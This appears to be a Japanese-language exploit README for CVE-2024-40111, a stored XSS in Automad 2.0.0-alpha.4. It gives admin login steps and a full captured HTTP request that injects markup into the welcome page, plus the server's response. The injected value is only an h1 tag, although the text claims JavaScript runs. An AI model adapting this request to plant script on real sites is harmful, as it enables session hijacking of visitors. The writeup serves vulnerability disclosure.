theexploiters/cve-2024-40111-exploit# CVE-2024-40111 用エクスプロイト: Automad 2.0.0-alpha.4 における格納型クロスサイトスクリプティング (XSS)
Automad 2.0.0-alpha.4 において、永続的（格納型）クロスサイトスクリプティング（XSS）の脆弱性が確認されました。この脆弱性により、攻撃者は悪意のある JavaScript コードをテンプレート本文に注入でき、そのコードは CMS 内に保存されます。注入されたコードは、影響を受けるページを訪問したすべてのユーザーのブラウザで実行され、セッションハイジャック、データ窃取、その他の悪意のある活動につながる可能性があります。
ログイン: 管理者としてログインし、エンドポイント http://localhost/dashboard/home に移動します。
: デフォルトのウェルカムページを編集します。
コンテンツタブへの移動: http://localhost/dashboard/page?url=%2F§ion=text に移動し、Main という名前のブロックを編集します。
ペイロードの注入: 以下の XSS ペイロードを入力します:
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Length: 1822
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Accept: */*
Origin: http://localhost
Referer: http://localhost/dashboard/page?url=%2F§ion=text
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
Connection: close
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__csrf__"
49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"
{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing for xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS identified by Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You have successfully installed Automad 2.<br><br><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Thu, 20 Jun 2024 19:17:35 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30
{"code":200,"time":1718911055}
http://localhost/ にアクセスすると、XSS ペイロードが実行されます。